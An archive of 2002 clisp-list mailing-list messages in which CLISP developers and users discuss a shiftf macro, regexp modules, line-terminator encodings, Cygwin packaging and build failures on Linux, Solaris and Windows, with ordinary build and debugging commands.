    >> Then what are you supposed to do for 
    >> (shiftf (values a b) (values (cdr x) (car y)) (values 'foo (bar)))

    Sam> nope. :-)

After more thought, I understand much better now and agree with you.
I don't have to call g-s-e at all for the last thing because it's not
a place.

Thank you!!!!!

    Sam> I finally guessed why you cannot look at the CLISP sources: licensing.
    Sam> (CMUCL is PD, CLISP is GNU GPL, so we can borrow CMUCL code while CMUCL
    Sam> cannot. :-)

Yep.  But we can, with permission, which Bruno did give for the
rationalize function.  But I did cheat a little and looked at the
code, but didn't understand it because it uses some Clisp-specific
things (I think).

In any case, the code is totally different---I basically copied the
code from CMUCL's rotatef macro and modified it for shiftf.

Ray


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Many thanks to peaple who answered me!
> 
> 1) why couldn't you build the regexp module? 
> 
The problem wasn't specifically with the regexp
module.  I tried to bulid CLISP and when I ran 'make',
after a while it started complaining about undefined
references. The last couple of lines:

terminal.o(.text+0x8ae): undefined reference to
`tputs'
collect2: ld returned 1 exit status
make: *** [lisp.run] Error 1

>    pregexp is slow but is the most perl like.
Thanks for suggesting it, I am trying it now.

> Michael Parker's is fast
I am still figuring out how to use it.

> Well, regexps are very limited in what can be
> accomplished with them.
> (e.g., they are not "Turing complete").

They are still useful for simple pattern matching and
for scripting, aren't they?
That is what I have to do most of the time; I thought
if I did some of it in Lisp I would learn faster than
just by reading a book.

> I urge you to explore the power of functional and OO
> programming
> instead of writing Perl code in Common Lisp syntax.
> Get Paul Grahams "ANSI Common Lisp" and "On Lisp"
> and read them.

I am reading "On Lisp" now and enjoying it.

> Feel free to rip perl regexps from perl and make a
> CLISP module.

Not my level yet, I'm afraid.

> install the RPM and run clisp as
> 
> $ clisp -K full

I did this but didn't get REGEXP. In my installation
the full/ and the base/ directory contain exactly the
same files (same name, same size) so I guess my RPM
wasn't built with additional modules.


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> * In message <20020724081307.12494.qmail@web20002.mail.yahoo.com>
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> > Well, regexps are very limited in what can be
> > accomplished with them.
> > (e.g., they are not "Turing complete").
> 
> They are still useful for simple pattern matching and for scripting,
> aren't they?  That is what I have to do most of the time;

nope!
Consider a simple task: finding out file name extension.
In perl you would write:

$ext = ($filename =~ s/.*\.([^\.]*)$/\1/);

(or some other unreadable stuff like that).
In Lisp you would write

(setq ext (pathname-type filename))

or, to avoid accusations that CL has something built-in :-)

(setq ext (subseq filename (1+ (position #\. filename :from-end))))

note that the CL expression is much more clear.

(it is also longer, which can be either advantage or disadvantage,
depending on your personal taste; I can enter it must faster with Emacs
than the corresponding Perl expression.  Also, note that due to the
basic information theory laws, the more concise the language is, the
easier it is to make a simple typo that will be detected only at
run-time).

> I thought if I did some of it in Lisp I would 
> learn faster than just by reading a book.

Sure.

> > $ clisp -K full
> 
> I did this but didn't get REGEXP. In my installation
> the full/ and the base/ directory contain exactly the
> same files (same name, same size) so I guess my RPM
> wasn't built with additional modules.

where did you get the RPM?
please do complain to the distributor!

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makemake "--with-dynamic-ffi --with-dynamic-modules
--with-export-syscalls --with-module=wildcard
--with-module=regexp --with-module=bindings/linuxlibc6
--with-module=clx/new-clx --prefix=/usr"
make config.lisp

produces the compile time error:

http://www.gentoo.org/~mkennedy/clisp.txt

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 --- Sam Steingold <sds@gnu.org> escribió: > > * In
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> where did you get the RPM?
> please do complain to the distributor!

Mandrake Linux.

Now I have grabbed the latest RPM from Sourceforge and
it does contain REGEXP. But maybe I wont use it after
all, if you are right about Lisp not needing any
stinking regexen ;)

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Grzegorz Chrupala <grechru@yahoo.com> writes:

>  --- Sam Steingold <sds@gnu.org> escribi=F3: > > * In
> message
> > where did you get the RPM?
> > please do complain to the distributor!
>=20
> Mandrake Linux.
>=20
> Now I have grabbed the latest RPM from Sourceforge and
> it does contain REGEXP. But maybe I wont use it after
> all, if you are right about Lisp not needing any
> stinking regexen ;)
>=20
> Cheers,
> Greg

it is just a question of the right tool for the right job. if you want
to manipulate filenames (pathnames) then you should not use regexps,
CL's pathname data type offers a far better (ie cleaner and more
generic) way to do it. however, if you are parsing some text and you
want to determine if the data is of a particular form then regexps are
the way to go, this is what regexps were invented for and they do this
job well. yes they can be abused (perl's /e modifier is the root of a
lot of evil) but not for this reason they should be avoided.

my EUR0.02

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> * In message <1027578930.20941.12.camel@gentoo.shacknet.nu>
> * On the subject of "[clisp-list] (no subject)"
> * Sent on 25 Jul 2002 01:35:30 -0500
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> makemake "--with-dynamic-ffi --with-dynamic-modules
> --with-export-syscalls --with-module=wildcard
> --with-module=regexp --with-module=bindings/linuxlibc6
> --with-module=clx/new-clx --prefix=/usr"
> make config.lisp
> 
> produces the compile time error:
> 
> http://www.gentoo.org/~mkennedy/clisp.txt

thanks.  what platform are you using?  gcc version?  libc version?
did you look at <http://www.gnu.org/software/clisp/clisp.html#bugs>?

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Randall,

> * In message <5.1.0.14.2.20020424084257.027689b8@pop3.cris.com>
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> * Sent on Wed, 24 Apr 2002 09:00:24 -0700
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> I use Cygwin extensively, so the Cygwin version would interest me
> greatly. I don't doubt the Cygwin principals would accept a CLISP
> package into the Cygwin contributed software.

Would you like to maintain the Cygwin CLISP package?
<http://cygwin.com/setup.html>

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It has been requested on many occasions that CLISP provide an option to
treat CR/LF/CR+LF differently on character input (right now all three
are read as #\Newline STREAM-ELEMENT-TYPE is CHARACTER).
The answer to these requests has been to use binary i/o.
6 months ago it was suggested that a :LINE-TERMINATOR-STRICT-P option
be added to the ENCODING object.

The problem is that this feature will produce unexpected results:
READ-LINE will return strings with embedded #\Newline!
ANSI does not appear to forbid it.

In CLISP, #\Newline is identical to #\Linefeed (which is specifically
permitted by <http://www.lisp.org/HyperSpec/Body/sec_13-1-7.html>).
Therefore, if the file is exactly this string:

(concatenate 'string "foo" (string #\Linefeed) "bar"
             (string #\Return) (string #\Linefeed))

and we open it with

(setq e (make-encoding :charset "ascii" :line-terminator :dos
                       :line-terminator-strict-p t))
(setq s (open "foo" :external-format e))

then the string returned by (READ-LINE s) will contain an embedded
#\Newline between "foo" and "bar" (because a single #\Linefeed is not a
#\Newline in the specified encoding, it will not make READ-LINE return,
but it _is_ a CLISP #\Newline!)

Therefore, files "foo" and "bar", written with

(with-open-file (o "bar" :direction :output :external-format e)
  (with-open-file (i "foo" :external-format e)
    (write-line (read-line i) o)))

will be different:

---- foo ----
foo^Jbar
-------------
---- bar ----
foo
bar
-------------

We already have this behavior (unless the ENCODING's LINE-TERMINATOR is
:UNIX), the point here is that :LINE-TERMINATOR-STRICT-P does _not_ fix
this.

Is anyone still interested in this :LINE-TERMINATOR-STRICT-P feature?
Do you see any problems with the behavior I just described?

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> * In message <1027619910.6967.4.camel@gentoo.shacknet.nu>
> * On the subject of "Re: [clisp-list] (no subject)"
> * Sent on 25 Jul 2002 12:58:30 -0500
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>
> $ gcc -v
> gcc version 3.1

This is a known (reported) bug in gcc 3.1.
A workaround for this bug is to compile CLISP using

$ CC='gcc -fno-gcse' ./configure .....

> Matthew Kennedy
> Gentoo Linux Developer

who maintains <http://www.gentoo.org/packages/dev-lisp/clisp.html>?
they should refer to <http://clisp.cons.org> which is the official site
(others are just mirrors).

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> > * In message <1027578930.20941.12.camel@gentoo.shacknet.nu>
> > * On the subject of "[clisp-list] (no subject)"
> > * Sent on 25 Jul 2002 01:35:30 -0500
> > * Honorable Matthew Kennedy <mkennedy@gentoo.org> writes:
> >
> > makemake "--with-dynamic-ffi --with-dynamic-modules
> > --with-export-syscalls --with-module=wildcard
> > --with-module=regexp --with-module=bindings/linuxlibc6
> > --with-module=clx/new-clx --prefix=/usr"
> > make config.lisp
> > 
> > produces the compile time error:
> > 
> > http://www.gentoo.org/~mkennedy/clisp.txt
> 
> thanks.  what platform are you using?  gcc version?  libc version?
> did you look at <http://www.gnu.org/software/clisp/clisp.html#bugs>?

Hi. attached is the complete script file. the platform is x86 Gentoo
GNU/Linux. The compiler is 

$ gcc -v
Reading specs from /usr/lib/gcc-lib/i686-pc-linux-gnu/3.1/specs
Configured with: /var/tmp/portage/gcc-3.1-r8/work/gcc-3.1/configure
--prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info
--enable-shared --host=i686-pc-linux-gnu --build=i686-pc-linux-gnu
--target=i686-pc-linux-gnu --enable-threads=posix --enable-long-long
--enable-cstdio=stdio --enable-clocale=generic --disable-checking
--enable-version-specific-runtime-libs
--with-gxx-include-dir=/usr/include/g++-v31
--with-local-prefix=/usr/local --with-system-zlib --enable-shared
--enable-nls --without-included-gettext
Thread model: posix
gcc version 3.1

Using glibc-2.2.5, linux 2.4.18

$ uname -a
Linux foo.shacknet.nu 2.4.19-gentoo-r7 #1 Tue Jul 9 18:22:06 CDT 2002
i686 GenuineIntel

-- 
Matthew Kennedy
Gentoo Linux Developer

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On Thu, 2002-07-25 at 13:20, Sam Steingold wrote:
> > * In message <1027619910.6967.4.camel@gentoo.shacknet.nu>
> > * On the subject of "Re: [clisp-list] (no subject)"
> > * Sent on 25 Jul 2002 12:58:30 -0500
> > * Honorable Matthew Kennedy <mkennedy@gentoo.org> writes:
> >
> > $ gcc -v
> > gcc version 3.1
> 
> This is a known (reported) bug in gcc 3.1.
> A workaround for this bug is to compile CLISP using
> 
> $ CC='gcc -fno-gcse' ./configure .....
> 
> > Matthew Kennedy
> > Gentoo Linux Developer
> 
> who maintains <http://www.gentoo.org/packages/dev-lisp/clisp.html>?
> they should refer to <http://clisp.cons.org> which is the official site
> (others are just mirrors).
> 
> -- 
> Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux
> <http://www.camera.org> <http://www.iris.org.il> <http://www.memri.org/>
> <http://www.mideasttruth.com/> <http://www.palestine-central.com/links.html>
> non-smoking section in a restaurant == non-peeing section in a swimming pool
>

Sam,

Thanks, I'll try that out.

Matt

 
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Sam,

I would take this on, but you should know that I'd face two learning curves 
in doing so:

1) Cygwin package maintenance--I've never done it before, though I was 
thinking of turning my Glimpse indexer port (it was trivial) into a Cygwin 
package, so learning the ins and outs of Cygwin package preparation and 
maintenance would kill both these birds

2) CLISP internals--I've never been under the hood of CLISP. The last 
language interpreter / compiler I worked on was XSB 
(<http://xsb.sourceforge.net/>), which also is also uses a byte-code 
compile and interpret scheme, so I do have some background with this sort 
of software.

If you find these circumstances acceptable, then I'll undertake to learn 
about Cygwin packaging.

You should inform me (or refer me to the necessary information) about the 
CLISP CVS repository, the version / tag naming scheme and which is to be 
used as the basis for a new Cygwin package, how the CLISP principals work 
w.r.t. to collaborative development, how / when to track ongoing 
developments by the CLISP developers, other lists I should subscribe to, etc.

I just saw the 2.29 release announcement, so I assume this is the target 
for a Cygwin release.

Randall Schulz
Mountain View, CA USA


At 09:15 2002-07-25, Sam Steingold wrote:
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> >
> > I use Cygwin extensively, so the Cygwin version would interest me
> > greatly. I don't doubt the Cygwin principals would accept a CLISP
> > package into the Cygwin contributed software.
>
>Would you like to maintain the Cygwin CLISP package?
><http://cygwin.com/setup.html>
>
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Hi,

at some time in CLISP history, src/macros3.lisp became included in the =
default image file (so everybody can immediately use the macros). =
However, the implementation notes don't reflect this change.

"
[Extensions-1.10. Additional Fancy Macros]

If you uncomment the (LOAD "macros3") line in the file init.lisp before =
doing make, or load the file macros3.lisp into a running CLISP, you can =
use the following macros:

[...]

You might want to add a (LOAD "macros3") statement to your .clisprc =
file if you do not want to dump your own memory image.
"

is now superfluous. Please delete these two paragraphs.

Thanks,
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> * In message <DFD875E85664D3118FA6080006277DE706169010@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] macros3.lisp documentation"
> * Sent on Fri, 26 Jul 2002 12:57:13 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> If you uncomment the (LOAD "macros3") line in the file init.lisp
> before doing make, or load the file macros3.lisp into a running CLISP,
> you can use the following macros:

this has been fixed many months ago, as you can see in
<http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/~checkout~/clisp/clisp/doc/impnotes.html?content-type=text/html#macros3>
it will move to the official public pages when the next non-bug-fix
release is made.

BTW, do you have time now to finish your dynamic loading patch?

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> * In message <1027638125.7232.1.camel@gentoo.shacknet.nu>
> * On the subject of "Re: [clisp-list] (no subject)"
> * Sent on 25 Jul 2002 18:02:05 -0500
> * Honorable Matthew Kennedy <mkennedy@gentoo.org> writes:
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> On Thu, 2002-07-25 at 13:20, Sam Steingold wrote:
> > > * Honorable Matthew Kennedy <mkennedy@gentoo.org> writes:
> > > gcc version 3.1
> > This is a known (reported) bug in gcc 3.1.
> > A workaround for this bug is to compile CLISP using
> > $ CC='gcc -fno-gcse' ./configure .....
> Thanks, I'll try that out.

2.29 included a patch that makes this unnecessary

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> * In message <5.1.0.14.2.20020725124016.01f8f140@pop3.cris.com>
> * On the subject of "Re: [clisp-list] Cygwin feature"
> * Sent on Thu, 25 Jul 2002 17:16:36 -0700
> * Honorable Randall R Schulz <rrschulz@cris.com> writes:
>
> You should inform me (or refer me to the necessary information) about
> the CLISP CVS repository, the version / tag naming scheme and which is
> to be used as the basis for a new Cygwin package, how the CLISP
> principals work w.r.t. to collaborative development, how / when to
> track ongoing developments by the CLISP developers, other lists I
> should subscribe to, etc.

You will have to learn how to create Cygwin packages, convince the
Cygwin maintainers that CLISP is a valuable contribution to Cygwin
(this should not be too hard :-), build CLISP Cygwin packages for each
CLISP release (and, probably, for each Cygwin upgrade), monitor
Cygwin/CLISP bug reports and decide whether the bug is in Cygwin, in
CLISP or in CLISP/Cygwin interaction and redirect the bug appropriately
(or fix them yourself).  This should not be terribly time-consuming.

You should subscribe to <clisp-devel> and follow-up to this thread
there.

> I just saw the 2.29 release announcement, so I assume this is the
> target for a Cygwin release.

yes.
'cvs co -r clisp_2_29-2002-07-25'

Thanks!

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Sam asked:
>BTW, do you have time now to finish your dynamic loading patch?
Who would test that beside me? Is Peter still there?

Regards,
	Jorg


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System: Fujitsu GP7000F/400
OS: Solaris 2.8 MU7
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System successfully completes 'configure' (even
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Make builds all object code cleanly, but lisp.run seg
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> * In message <20020726172247.75204.qmail@web14503.mail.yahoo.com>
> * On the subject of "[clisp-list] Failure to build 2.29 on Sparc Sol 8/Gcc 3.1"
> * Sent on Fri, 26 Jul 2002 10:22:47 -0700 (PDT)
> * Honorable Jeffrey Katcher <jmkatcher@yahoo.com> writes:
>
> System: Fujitsu GP7000F/400
> OS: Solaris 2.8 MU7
> Compiler: gcc 3.1
> 
> System successfully completes 'configure' (even
> getting past previous gcc 3.1 stoppages).
good.

> Make builds all object code cleanly, 

do you have <sys/int_types.h>?  does it conflict with stdint.h?

> but lisp.run seg faults on 1st invocation.

oops!  can you try to debug it?

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This system does have sys/int_types.h, but I didn't
notice any type conflicts in a quick exam.  

Before I debug, I'm trying to build a gcc 3.1.1 (which
contains fixes for a number of Sparc issues) which
I'll use to build clisp 2.29.

FYI, It does build and run well in my FreeBSD/Intel
environment using the system gcc 2.95.x compiler.

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> * In message <20020726211740.50370.qmail@web14507.mail.yahoo.com>
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> This system does have sys/int_types.h, but I didn't
> notice any type conflicts in a quick exam.  

yes, of course - I forgot that you are dealing with 2.29,
not the CVS devel version.

> Before I debug, I'm trying to build a gcc 3.1.1 (which contains fixes
> for a number of Sparc issues) which I'll use to build clisp 2.29.

interesting.

Could you please also try to build the current CVS head?
Thanks.

> FYI, It does build and run well in my FreeBSD/Intel
> environment using the system gcc 2.95.x compiler.

man, you _are_ versatile! Solaris 8, FreeBSD/Intel, FreeBSD/Alpha....
Could you please make the binaries available?

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I'd be happy to provide binaries from my working
versions.  Just let me know what procedure you'd like
me to follow.

I have Solaris 2.8/Sparc, FreeBSD/i386, &
FreeBSD/Alpha (my larger machines were purchased at
scrap prices on eBay).  Right now I have 2.29 Sparc &
FreeBSD/i386 working, both built with Gcc2.95.2. 
FreeBSD/Alpha is totally broken with 2.29 (crapping
out in the make in the segv handler test with all 3
compilers).  A Sparc GCC 3.1/3.1.1 build hasn't yet
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> I'd be happy to provide binaries from my working versions.
> Just let me know what procedure you'd like me to follow.

'make distrib' in your build directory and put the
        clisp-2.29-'platform-id'.tar,gz 
somewhere I could download it from.

> FreeBSD/Alpha is totally broken with 2.29 (crapping out in the make in
> the segv handler test with all 3 compilers).

I think this has been fixed in the CVS but not put into the 2.29.
Could you please check that the CVS head works on your platforms?

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clisp-2.29-sun4-sparc-sunos-5.8.tar.gz 
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> clisp-2.29-sun4-sparc-sunos-5.8.tar.gz

cool. which gcc? any tweaks?

> clisp-2.29-i386-i386-freebsd-4.6-STABLE.tar.gz
> 
> have been uploaded to
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> If someone could move them to the appropriate place...

I copied them to the usual CLISP distribution places.
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Greetings. I've successfully built clisp 2.29 on Dell P-III, cygwin
1.13.12/windows 2000. However, after installing (make install), running
clisp results in an endless loop of "UNIX error 13" messages:

bash-2.05b$ clisp
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2002

;; Loading file /cygdrive/h/dyoung/.clisprc.lisp ...
;; Loading of file /cygdrive/h/dyoung/.clisprc.lisp is finished.
[1]>
*** - UNIX error 13 (EACCES): Permission denied
*** - UNIX error 13 (EACCES): Permission denied
...
[1]+  Stopped                 clisp

I'd appreciate suggestions.

Oh, and note that building clisp on my Vaio notebook (P-III mobile), Windows
2000, cygwin, results in an internal compiler error for gcc. But, I suppose
this is a gcc problem and should be reported to the proper authorities.

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Hi Jeremy. No, you're not being pompous. And, I understand your question.
Let's see if I can answer it, at least from my perspective.

First, let me say that I've been an exclusive "unix" user (with a smattering
of Symbolics and Apple) for over 17 years. It's only within the last 12
months that I've found myself working on Windows platforms. The reality is
that 1) right now I build expert systems for a living; and 2) the
environments I use, as determined by my employers, happen to run on Windows
2000.

Now. I'm at a stage in my life where I strive for simplicity. Since I use
win2k at work, and I often work at home, I use win2k there as well. I just
don't want a mix of machines where I use one for my bread-and-butter work,
another for my open source work. I now have a single machine -- my notebook
-- that serves both purposes. It runs win2k.

So. Why cygwin? For me, the simplest answer I can give is that cygwin allows
me to build a hybrid environment that yields an acceptable "computing
platform" for my daily efforts. I'd really like to use VMware to host Linux
on my notebook, but I can't justify the $300 price tag to my Better Half.
It's worth the money, I just can't justify it.

I want clisp on cygwin because, for command line stuff, I prefer working
within the bash/cygwin environment, given the constraints I've previously
described. And, since clisp is one of the supported Lisp platforms for my
sourceforge project, well...

Finally, building clisp on a new (for myself) platform was fun. It was an
interesting distraction.

Hope this helps.

-- dey

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Ok, I have to know something.  I've been listening on this list for some
time now and I see a plethora of Cygwin problems.  It seems as though every
couple days, somebody is having a problem getting clisp to work on Cygwin.  

My question is this:  Why run Cygwin?


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Forgive me. Intended to reply just to Jeremy. Sigh...

-- dey

>On Wed, 31 Jul 2002 14:42:52 -0400 "Young, David"
<dyoung@bloodhoundinc.com> wrote.
>Hi Jeremy. No, you're not being pompous. And, I understand your question.
>Let's see if I can answer it, at least from my perspective...


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Yesterday I updated my local copy from CVS and then I tried to rebuild
CLISP, but I got the following error:


$ make
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -x none ../utils/comment5.c -o comment5
ln -s ../utils/ansidecl.d ansidecl.d
./comment5 ansidecl.d ansidecl.c
ansidecl.d: Success
make: *** [ansidecl] Error 124
$


When not zero, comment5 exit status is the number of the line where
the error occurred:

   120    /* close files: */
   121    fclose(infile);
   122    fclose(outfile);
   123    if (ferror(infile))
   124      { perror(infilenamebuffer); exit(__LINE__); }
   125    if (ferror(outfile))
   126      { perror(outfilenamebuffer); exit(__LINE__); }
   127    exit(0); /* OK */

Does it make sense to test file error after closing the file? I moved
the tests before fclose and it worked as usual.

Ciao,
Aurelio

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Greetings. Just downloaded the clisp 2.29 binary for cygwin and Windows NT.
I'm guessing this build is for Windows 2000 due to the "5.0" in the file
name, but I could be wrong (in which case I probably shouldn't be here).

In any event, per the README, from bash I type 'make' and receive this:

bash-2.05b$ make
gcc -O  base/modules.o base/lisp.a base/libsigsegv.a base/libintl.a
base/libiconv.a base/libreadline.a base/libavcall.a
base/libcallback.a -lncurses -lm -o base/lisp.run
base/libintl.a: file not recognized: File format not recognized
collect2: ld returned 1 exit status
make: *** [base/lisp.run] Error 1

Thought you folks would like to know...

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Same problem yesterday. =20

Some of the .a files (including base/libavcall.a) are windows shortcuts, =

and not object libraries.

-----Original Message-----
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Greetings. Just downloaded the clisp 2.29 binary for cygwin and Windows =
NT.
I'm guessing this build is for Windows 2000 due to the "5.0" in the file
name, but I could be wrong (in which case I probably shouldn't be here).

In any event, per the README, from bash I type 'make' and receive this:

bash-2.05b$ make
gcc -O  base/modules.o base/lisp.a base/libsigsegv.a base/libintl.a
base/libiconv.a base/libreadline.a base/libavcall.a
base/libcallback.a -lncurses -lm -o base/lisp.run
base/libintl.a: file not recognized: File format not recognized
collect2: ld returned 1 exit status
make: *** [base/lisp.run] Error 1

Thought you folks would like to know...

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Hi,

does the MS-win32 binary for 2.29 found on sourceforge/FILES include =
the regexp module?

I never got an e-mail response for my query to the gnu/regexp people =
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>   120    /* close files: */
>   121    fclose(infile);
>   122    fclose(outfile);
>   123    if (ferror(infile))
>   124      { perror(infilenamebuffer); exit(__LINE__); }
>   125    if (ferror(outfile))
>   126      { perror(outfilenamebuffer); exit(__LINE__); }
>   127    exit(0); /* OK */
>
>Does it make sense to test file error after closing the file? I moved
>the tests before fclose and it worked as usual.

In computing theory: yes

In practice: don't know. It depends on lots of libraries, specifications, broken code etc.
What you could try out is move the test for infile befor closing outfile.

It makes sense (in theory) to check the close status because for example the last writes to a file may be issued only when close() is encoutered, thanks to internal buffering. Thus checking the status of the last write (or of any write) is no guarantee that stuff gots successfully written. E.g. suppose you write less than 8000 bytes to a file, while many UNIX write in 8192 byte blocks. It's only after the close() that the file will really be written. Every write before that is one to memory only.

Even worse, closing the file still does not give you a guarantee that something has really been written to disk. E.g., on Sun machines, the sync process runs every 30 seconds to flush buffers. It also means that things get eventually written to disk long after an application has terminated. So in general, an application cannot know for sure whether a write to a file actually hit the disk. It is out of the scope of the application to ensure this. It involves file-systems etc. (journaling or loggin file systems etc.).

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Hi,

Thursday, August 01, 2002, 5:40:03 PM, you wrote:

Joerg-Cyril> does the MS-win32 binary for 2.29 found on
Joerg-Cyril> sourceforge/FILES include the regexp module?
I think it doesn't (if it's mine). I never worked with
clisp modules in its native enviroinment (UNIX), so
was unable to produce such distribution. You mentioned
your article about clisp modules, is it ready ?

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Young, David schrieb:
> Greetings. I've successfully built clisp 2.29 on Dell P-III, cygwin
> 1.13.12/windows 2000. However, after installing (make install), running
> clisp results in an endless loop of "UNIX error 13" messages:

> ;; Loading file /cygdrive/h/dyoung/.clisprc.lisp ...
> ;; Loading of file /cygdrive/h/dyoung/.clisprc.lisp is finished.
> [1]>
> *** - UNIX error 13 (EACCES): Permission denied
> *** - UNIX error 13 (EACCES): Permission denied
> ...
> [1]+  Stopped                 clisp


Most symlinks in the binary cygwin tar
point to a not existing "c:\gnu\clisp\clisp-2.29" dir, which is wrong.
The symlinks must be relative, not absolute!

You can fix that manually, by providing a mount for 
c:\gnu\clisp\clisp-2.29 to your install dir.
something like:

$ mount -f -s -b "`cygpath -w $PWD`" "/cygdrive/c/clisp/clisp-2.29"

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Hoehle, Joerg-Cyril schrieb:
>>BTW, do you have time now to finish your dynamic loading patch?

> Who would test that beside me? Is Peter still there?

me?

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Hello Reini. Hmm; I probably wasn't clear in my original post. I downloaded
the clisp 2.29 *source* distribution, built it on Windows 2000 and then
installed (make install). This procedure worked just fine, but running the
newly build clisp executable results in the behavior I reported. I saw no
symlinks in the installation (/usr/local/lib/clisp/...).

Perhaps I've misunderstood your post?

-- dey

>On Thu, 01 Aug 2002 12:51:34  0100 Reini Urban <rurban@x-ray.at> wrote.
>Young, David schrieb:
>> Greetings. I've successfully built clisp 2.29 on Dell P-III, cygwin
>> 1.13.12/windows 2000. However, after installing (make install), running
>> clisp results in an endless loop of "UNIX error 13" messages:
>
>> ;; Loading file /cygdrive/h/dyoung/.clisprc.lisp ...
>> ;; Loading of file /cygdrive/h/dyoung/.clisprc.lisp is finished.
>> [1]>
>> *** - UNIX error 13 (EACCES): Permission denied
>> *** - UNIX error 13 (EACCES): Permission denied
>> ...
>> [1]   Stopped                 clisp
>
>
>Most symlinks in the binary cygwin tar
>point to a not existing "c:\gnu\clisp\clisp-2.29" dir, which is wrong.
>The symlinks must be relative, not absolute!
>
>You can fix that manually, by providing a mount for 
>c:\gnu\clisp\clisp-2.29 to your install dir.
>something like:
>
>$ mount -f -s -b "`cygpath -w $PWD`" "/cygdrive/c/clisp/clisp-2.29"
>
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Hi,

Arseny Slobodjuck wrote:
>Joerg-Cyril> does the MS-win32 binary for 2.29 found on
>Joerg-Cyril> sourceforge/FILES include the regexp module?

>I think it doesn't (if it's mine). I never worked with
>clisp modules in its native enviroinment (UNIX), so
>was unable to produce such distribution. You mentioned
>your article about clisp modules, is it ready ?

I don't understand how UNIX, "native environment" or my article on modules come into play with having the regexp module in the MS-win32 native distribution.

In March, I gave (hopefully) repeatable instructions on how to compile CLISP with modules/regexp/ using MS-VC++6. Everything needed (except 1-2 patches to sources found in the CLISP distribution) is either in the CLISP source archive, or your C compiler. It's trivial to do.

Similarly, it's IMHO trivial to build CLISP modules with any C compiler on any platform where CLISP has been ported to, except that on UNIX you additionaly have those clisp-link shell scripts. I never built a module on UNIX. I have a rough idea of what these scripts do.

What is open is whether my suggested alloca() patch to modules/regexp/regex.c could be accepted by some GNU regexp/Emacs/whoever maintainers.

Another thing, which does not in any way affect my patches, is whether to replace the ~6-year old modules/regex.c by some newer GNU code. Did anyone ever complain about this module being old or buggy?

I'll send you the current version of my article on modules in a separate e-mail.

Regards,
	Jorg Hohle.


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> * In message <23B38FECB4213142A4E017F783B3391D503C34@jarjar.bhusa.bhsoftware.com>
> * On the subject of "[clisp-list] Trouble running on cygwin, Windows 2000"
> * Sent on Wed, 31 Jul 2002 13:00:05 -0400
> * Honorable "Young, David" <dyoung@bloodhoundinc.com> writes:
>
> Greetings. I've successfully built clisp 2.29 on Dell P-III, cygwin
> 1.13.12/windows 2000. However, after installing (make install), running
> clisp results in an endless loop of "UNIX error 13" messages:
> 
> bash-2.05b$ clisp
> ;; Loading file /cygdrive/h/dyoung/.clisprc.lisp ...
> ;; Loading of file /cygdrive/h/dyoung/.clisprc.lisp is finished.
> [1]>

are you really getting this __after__ CLISP prints the prompt?!

> *** - UNIX error 13 (EACCES): Permission denied
> *** - UNIX error 13 (EACCES): Permission denied
> ...
> [1]+  Stopped                 clisp
> 
> I'd appreciate suggestions.

I cannot reproduce this, alas, either with the current CVS head or with
2.29 release on w2k.

could you please debug this?
1. ./configure --with-debug --build build-g
2. cd build-g
3. gdb -nw
(gdb) break OS_error
(gdb) run
...
(gdb) where

and try to find out what is that illegal trick that CLISP is trying to
pull.

please also try CVS head.

thanks.

> Oh, and note that building clisp on my Vaio notebook (P-III mobile),
> Windows 2000, cygwin, results in an internal compiler error for
> gcc. But, I suppose this is a gcc problem and should be reported to
> the proper authorities.

please do report this.
CLISP appears to be a major source for GCC bug reports :-)

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Yes. The error is definitely occuring *after* the prompt. Also, after CLISP
loads .clisprc.lisp.

I'll follow your debugging suggestions and send a report when I have the
data. And, I'll try the CVS head as well.

-- dey

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> * Sent on Wed, 31 Jul 2002 13:00:05 -0400
> * Honorable "Young, David" <dyoung@bloodhoundinc.com> writes:
>
> Greetings. I've successfully built clisp 2.29 on Dell P-III, cygwin
> 1.13.12/windows 2000. However, after installing (make install), running
> clisp results in an endless loop of "UNIX error 13" messages:
> 
> bash-2.05b$ clisp
> ;; Loading file /cygdrive/h/dyoung/.clisprc.lisp ...
> ;; Loading of file /cygdrive/h/dyoung/.clisprc.lisp is finished.
> [1]>

are you really getting this __after__ CLISP prints the prompt?!



> *** - UNIX error 13 (EACCES): Permission denied
> *** - UNIX error 13 (EACCES): Permission denied
> ...
> [1]+  Stopped                 clisp
> 
> I'd appreciate suggestions.

I cannot reproduce this, alas, either with the current CVS head or with
2.29 release on w2k.

could you please debug this?
1. ./configure --with-debug --build build-g
2. cd build-g
3. gdb -nw
(gdb) break OS_error
(gdb) run
...
(gdb) where

and try to find out what is that illegal trick that CLISP is trying to
pull.



please also try CVS head.

thanks.

> Oh, and note that building clisp on my Vaio notebook (P-III mobile),
> Windows 2000, cygwin, results in an internal compiler error for
> gcc. But, I suppose this is a gcc problem and should be reported to
> the proper authorities.

please do report this.
CLISP appears to be a major source for GCC bug reports :-)

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Ok, here's the deal. Sam, I followed your instructions precisely for
building a debuggable version of clisp 2.29. If I run the resultant program
from within gdb, or even strace, it works fine. If I run the exe from bash,
however, the problem manifests itself. I'm using the "better-termcap"
available in the distro, and TERM is set to 'cygwin32', although I've tried
the run both this way and with stock cygwin. This sure smells of some type
of console issue (?)

NB: If I install a standard win32 version of clisp I can run it just fine
from bash. Something's going wrong when I build from scratch in my
environment.

-- dey

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> * Sent on Wed, 31 Jul 2002 13:00:05 -0400
> * Honorable "Young, David" <dyoung@bloodhoundinc.com> writes:
>
> Greetings. I've successfully built clisp 2.29 on Dell P-III, cygwin
> 1.13.12/windows 2000. However, after installing (make install), running
> clisp results in an endless loop of "UNIX error 13" messages:
> 
> bash-2.05b$ clisp
